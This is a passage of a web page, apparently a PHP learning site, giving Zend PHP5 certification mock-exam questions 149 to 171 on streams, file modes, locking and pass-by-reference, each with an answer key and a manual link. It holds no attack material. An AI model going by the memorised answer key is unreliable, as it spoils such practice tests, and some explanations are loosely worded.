&lt;li&gt;This script should be re-written using fgets() instead of fread()&lt;/li&gt;
&lt;li&gt;The request is non-blocking and fread() may miss the response&lt;/li&gt;
&lt;li&gt;You cannot use fwrite() with fsockopen()&lt;/li&gt;
&lt;/ol&gt;
Answer:&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.fsockopen.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.fsockopen.php&lt;/a&gt;: Example #1 fsockopen() Example – the request is missing its closing \r\n and as such is malformed.&lt;br /&gt;
&lt;b&gt;150. _______ can be used to add additional functionality to a stream, such as implementation of a specific protocol on top of a normal PHP stream implementation.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Buffered&lt;/li&gt;
&lt;li&gt;Buckets&lt;/li&gt;
&lt;li&gt;Wrappers&lt;/li&gt;
&lt;li&gt;Filters&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/intro.stream.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/intro.stream.php&lt;/a&gt; – A wrapper is additional code which tells the stream how to handle specific protocols/encodings.&lt;br /&gt;
&lt;b&gt;151. Which of the following is not a valid fopen() access mode:&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;b&lt;/li&gt;
&lt;li&gt;x&lt;/li&gt;
&lt;li&gt;a&lt;/li&gt;
&lt;li&gt;w&lt;/li&gt;
&lt;li&gt;r+&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.fopen.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.fopen.php&lt;/a&gt; – there is no ‘b’ access mode.&lt;br /&gt;
&lt;b&gt;152. The _______ constant in a CLI script is an automatically provided file resource representing standard input of the terminal.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;STDIN&lt;/li&gt;
&lt;li&gt;__STDIN__&lt;/li&gt;
&lt;li&gt;STDIO&lt;/li&gt;
&lt;li&gt;PHP::STDIO&lt;/li&gt;
&lt;li&gt;STD_IN&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/wrappers.php.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/wrappers.php.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;153. What should go in the ??????? assignment below to create a Zlib-compressed file foo.gz with a compression level of 9?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$file = &#39;????????&#39;;&lt;br /&gt;
$fr = fopen($file, &#39;wb9&#39;);&lt;br /&gt;
fwrite($fr, $data);&lt;br /&gt;
fclose($fr);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;gzip://foo.gz?level=9&lt;/li&gt;
&lt;li&gt;compress.zip://foo.gz?level=9&lt;/li&gt;
&lt;li&gt;compress.zlib://foo.gz&lt;/li&gt;
&lt;li&gt;compress.gzip://foo.gz?level=9&lt;/li&gt;
&lt;li&gt;zlib://foo.gz&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/wrappers.compression.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/wrappers.compression.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;154. Which of the following is not a valid default stream wrapper for PHP 5, assuming OpenSSL is enabled?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;ftps://&lt;/li&gt;
&lt;li&gt;ftp://&lt;/li&gt;
&lt;li&gt;sftp://&lt;/li&gt;
&lt;li&gt;https://&lt;/li&gt;
&lt;li&gt;http://&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/wrappers.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/wrappers.php&lt;/a&gt;: &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/wrappers.ftp.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;FTP and FTPS&lt;/a&gt; — Accessing FTP(s) URLs.&lt;br /&gt;
&lt;b&gt;155. When opening a file in writing mode using the FTP handler, what must be done so that the file will still be written to the server in the event it previously exists?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Provide a context for fopen() using stream_context_create()&lt;/li&gt;
&lt;li&gt;You must delete the file first before uploading a new file&lt;/li&gt;
&lt;li&gt;Configure this behavior in the php.ini file using the ftp.overwrite directive&lt;/li&gt;
&lt;li&gt;Open the file using the &#39;w+&#39; mode&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/context.ftp.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/context.ftp.php&lt;/a&gt;:&lt;br /&gt;
// Allows overwriting of existing files on the remote FTP server&lt;br /&gt;
$stream_options = array(&#39;ftp&#39; =&amp;gt; array(&#39;overwrite&#39; =&amp;gt; true));&lt;br /&gt;
// Creates a stream context resource with the defined options&lt;br /&gt;
$stream_context = stream_context_create($stream_options);&lt;br /&gt;
// Opens the file for writing and truncates it to zero length&lt;br /&gt;
if ($fh = fopen($ftp_path, &#39;w&#39;, 0, $stream_context))&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.stream-context-create.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.stream-context-create.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;156. Which of the following functions is used to determine if a given stream is blocking or not?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;stream_get_blocking&lt;/li&gt;
&lt;li&gt;stream_get_meta_data&lt;/li&gt;
&lt;li&gt;stream_is_blocking&lt;/li&gt;
&lt;li&gt;stream_get_blocking_mode&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/ru/function.stream-get-meta-data.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/ru/function.stream-get-meta-data.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;157. What is the difference between the include and require language constructs?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Require constructs can&#39;t be used with URL filenames&lt;/li&gt;
&lt;li&gt;Include constructs cause a fatal error if the file doesn&#39;t exist&lt;/li&gt;
&lt;li&gt;There is no difference other than the name&lt;/li&gt;
&lt;li&gt;Include constructs are processed at run time; require constructs are processed at compile time&lt;/li&gt;
&lt;li&gt;Require constructs cause a fatal error if the file can&#39;t be read&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.require.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.require.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;158. When writing CLI scripts it is often useful to access the standard streams available to the operating system such as standard input/output and error. How does one access these streams in PHP 5?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Use stdin(), stdout() and stderr() functions&lt;/li&gt;
&lt;li&gt;PHP::STDIN, PHP::STDOUT, PHP::STDERR class constants in PHP 5&lt;/li&gt;
&lt;li&gt;STDIN, STDOUT, and STDERR constants in PHP 5&lt;/li&gt;
&lt;li&gt;use the php::stdin(), php::stdout(), and php::stderr() class methods&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/wrappers.php.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/wrappers.php.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;159. How can one take advantage of the time waiting for a lock during a stream access, to do other tasks using the following locking code as the base: &lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
$retval = flock($fr, LOCK_EX);&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Use flock_lazy() instead of flock()&lt;/li&gt;
&lt;li&gt;Use LOCK_EX|LOCK_NB instead of LOCK_EX&lt;/li&gt;
&lt;li&gt;Use LOCK_UN instead of LOCK_EX&lt;/li&gt;
&lt;li&gt;Check the value of $retval to see if the lock was obtained&lt;/li&gt;
&lt;li&gt;Check to see if $retval == LOCK_WAIT&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.flock.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.flock.php&lt;/a&gt;: It is also possible to add LOCK_NB as a bitmask to one of the above operations if you don&#39;t want flock() to block while locking. (not supported on Windows).&lt;br /&gt;
&lt;b&gt;160. What is the output of?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;function apple($apples = 4)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$apples = $apples / 2;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return $apples;&lt;br /&gt;
}&lt;br /&gt;
$apples = 10;&lt;br /&gt;
apple($apples);&lt;br /&gt;
echo $apples;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;2&lt;/li&gt;
&lt;li&gt;4&lt;/li&gt;
&lt;li&gt;5&lt;/li&gt;
&lt;li&gt;10&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/functions.returning-values.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/functions.returning-values.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;161. Which statement will return the third parameter passed to a function?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;$argv[3];&lt;/li&gt;
&lt;li&gt;$argv[2];&lt;/li&gt;
&lt;li&gt;func_get_args(3);&lt;/li&gt;
&lt;li&gt;func_get_arg(2);&lt;/li&gt;
&lt;li&gt;func_get_arg(3);&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.func-get-arg.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.func-get-arg.php&lt;/a&gt; — Function arguments are counted starting from zero.&lt;br /&gt;
&lt;b&gt;162. What is the output of the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;function oranges(&amp;amp;$oranges = 17)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$oranges .= 1;&lt;br /&gt;
}&lt;br /&gt;
$apples = 5;&lt;br /&gt;
oranges($apples);&lt;br /&gt;
echo $apples++;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;16&lt;/li&gt;
&lt;li&gt;51&lt;/li&gt;
&lt;li&gt;15&lt;/li&gt;
&lt;li&gt;6&lt;/li&gt;
&lt;li&gt;5&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/functions.arguments.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/functions.arguments.php&lt;/a&gt;: Example #2 Passing function parameters by reference, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.operators.increment.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.operators.increment.php&lt;/a&gt;: $a++ — Post-increment — Returns $a, then increments $a by one.&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;163. What is the output of the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;function pears(Array $pears)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;if (count($pears) &amp;gt; 0)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo array_pop($pears);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pears($pears);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
$fruit = array(&quot;Anjo&quot;, &quot;Bartlet&quot;);&lt;br /&gt;
pears($fruit);&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Bartlet&lt;/li&gt;
&lt;li&gt;Anjo&lt;/li&gt;
&lt;li&gt;BartletAnjo&lt;/li&gt;
&lt;li&gt;AnjoBartlet&lt;/li&gt;
&lt;li&gt;None / There is an Error&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.array-pop.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.array-pop.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;164. In PHP5 objects are passed by reference to a function when (Select the answer that is the most correct): &lt;/b&gt;(Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Always; objects are passed by reference in PHP5&lt;/li&gt;
&lt;li&gt;When the calling code preceeds the variable name with a &amp;amp;&lt;/li&gt;
&lt;li&gt;Never; objects are cloned when passed to a function&lt;/li&gt;
&lt;li&gt;When the function paramater listing preceeds the variable name with a &amp;amp;&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.references.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.references.php&lt;/a&gt; — One of the key-points of PHP5 OOP that is often mentioned is that «objects are passed by references by default».&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;165. What is the output of the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function byReference(&amp;amp;$variable = 5)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;echo ++$variable;&lt;br /&gt;
}&lt;br /&gt;
byReference();&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;No output or error. Variables can not be optional and passed by reference.&lt;/li&gt;
&lt;li&gt;5&lt;/li&gt;
&lt;li&gt;6&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.operators.increment.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.operators.increment.php&lt;/a&gt;: ++$a — Pre-increment — Increments $a by one, then returns $a.&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;166. What is the output of the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function x10(&amp;amp;$number)&lt;br /&gt;
$number *= 10;&lt;br /&gt;
$count = 5;&lt;br /&gt;
x10($count);&lt;br /&gt;
echo $count;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;Error: Unexpected T_VARIABLE&lt;/li&gt;
&lt;li&gt;10&lt;/li&gt;
&lt;li&gt;Notice regarding pass by reference&lt;/li&gt;
&lt;li&gt;50&lt;/li&gt;
&lt;li&gt;5&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.tizag.com/phpT/phpfunctions.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.tizag.com/phpT/phpfunctions.php&lt;/a&gt; — curly braces define where our function&#39;s code goes.&lt;br /&gt;
&lt;b&gt;167. What is the output of the following? (Choose 1 answer)&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function 1dotEach($n)&lt;br /&gt;
{&lt;br /&gt;
if ($n &amp;gt; 0)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;1dotEach(--$n);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;echo &quot;.&quot;;&lt;br /&gt;
}&lt;br /&gt;
else&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return $n;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
1dotEach(4);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;…0&lt;/li&gt;
&lt;li&gt;Parse Error: Syntax Error&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.tizag.com/phpT/phpfunctions.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.tizag.com/phpT/phpfunctions.php&lt;/a&gt;: function name can start with a letter or underscore «_», but not a number!&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;168. When your error reporting level includes E_STRICT, what will the output of the following code be?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function optionalParam($x = 1, $y = 5, $z)&lt;br /&gt;
{&lt;br /&gt;
if ((!$z &amp;gt; 0))&lt;br /&gt;
{&lt;br /&gt;
$z = 1;&lt;br /&gt;
}&lt;br /&gt;
for($count = $x; $count &amp;lt; $y; $count+= $z)&lt;br /&gt;
{&lt;br /&gt;
echo &quot;#&quot;;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
optionalParam(2,4,2);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;##&lt;/li&gt;
&lt;li&gt;Notice&lt;/li&gt;
&lt;li&gt;Warning&lt;/li&gt;
&lt;li&gt;Syntax Error&lt;/li&gt;
&lt;li&gt;#&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.operators.arithmetic.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.operators.arithmetic.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;169. What is the output of the following?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function byRef(&amp;amp;$number)&lt;br /&gt;
{&lt;br /&gt;
$number *= 10;&lt;br /&gt;
return ($number - 5);&lt;br /&gt;
}&lt;br /&gt;
$number = 10;&lt;br /&gt;
$number = byRef($number);&lt;br /&gt;
echo $number;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;50&lt;/li&gt;
&lt;li&gt;5&lt;/li&gt;
&lt;li&gt;95&lt;/li&gt;
&lt;li&gt;10&lt;/li&gt;
&lt;li&gt;100&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.references.pass.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.references.pass.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;170. What is the output of the following? (Choose 1 answer)&lt;/b&gt;&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function byRef(&amp;amp;$apples)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$apples++;&lt;br /&gt;
}&lt;br /&gt;
$oranges = 5;&lt;br /&gt;
$apples = 5;&lt;br /&gt;
byRef($oranges);&lt;br /&gt;
echo &quot;I have $apples apples and $oranges oranges&quot;;&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;I have 6 apples and 6 oranges&lt;/li&gt;
&lt;li&gt;I have 6 apples and 5 oranges&lt;/li&gt;
&lt;li&gt;I have 5 apples and 6 oranges&lt;/li&gt;
&lt;li&gt;I have 5 apples and 5 oranges&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.references.pass.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.references.pass.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt; &lt;/b&gt;&lt;br /&gt;
&lt;b&gt;171. What is the output of the following?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function a($number)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return (b($number) * $number);&lt;br /&gt;
}&lt;br /&gt;
function b(&amp;amp;$number)&lt;br /&gt;
{&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;++$number;&lt;br /&gt;
}&lt;br /&gt;
echo a(5);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt;0&lt;/li&gt;
&lt;li&gt;36&lt;/li&gt;
&lt;li&gt;6&lt;/li&gt;
&lt;li&gt;30&lt;/li&gt;
&lt;li&gt;5&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/functions.returning-values.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/functions.returning-values.php&lt;/a&gt;, so INT(null)*6=0.
&lt;/div&gt;
&lt;!-- google_ad_section_end --&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: right;&quot;&gt;
&lt;script charset=&quot;utf-8&quot; src=&quot;//yandex.st/share/share.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;

&lt;br /&gt;
&lt;div class=&quot;yashare-auto-init&quot; data-yasharel10n=&quot;ru&quot; data-yasharequickservices=&quot;gplus,vkontakte,facebook,twitter,yaru,odnoklassniki,moimir,lj,friendfeed,moikrug,evernote,greader,liveinternet,linkedin&quot; data-yasharetype=&quot;none&quot;&gt;
&lt;span class=&quot;b-share&quot;&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__gplus&quot; data-service=&quot;gplus&quot; href=&quot;http://share.yandex.ru/go.xml?service=gplus&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Google Plus&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_gplus&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__vkontakte&quot; data-service=&quot;vkontakte&quot; href=&quot;http://share.yandex.ru/go.xml?service=vkontakte&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;ВКонтакте&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_vkontakte&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__facebook&quot; data-service=&quot;facebook&quot; href=&quot;http://share.yandex.ru/go.xml?service=facebook&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Facebook&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_facebook&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__twitter&quot; data-service=&quot;twitter&quot; href=&quot;http://share.yandex.ru/go.xml?service=twitter&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Twitter&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_twitter&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__yaru&quot; data-service=&quot;yaru&quot; href=&quot;http://share.yandex.ru/go.xml?service=yaru&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Я.ру&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_yaru&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__odnoklassniki&quot; data-service=&quot;odnoklassniki&quot; href=&quot;http://share.yandex.ru/go.xml?service=odnoklassniki&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Одноклассники&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_odnoklassniki&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__moimir&quot; data-service=&quot;moimir&quot; href=&quot;http://share.yandex.ru/go.xml?service=moimir&amp;amp;url=http%3A%2F%2Fwmdn.ru%2Fphp%2Fzend-php5-certification-mock-exam-sample-questions-3%2F&amp;amp;title=Zend%20PHP5%20Certification%20Mock%20Exam%20Sample%20Questions%20%E2%80%94%203%20%2F%20PHP%20%2F%20WMDN&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot; title=&quot;Мой Мир&quot;&gt;&lt;span class=&quot;b-share-icon b-share-icon_moimir&quot;&gt;&lt;/span&gt;&lt;span class=&quot;b-share-counter&quot;&gt;&lt;/span&gt;&lt;/a&gt;&lt;a class=&quot;b-share__handle b-share__link b-share-btn__lj&quot; data-service=&quot;lj&quot; 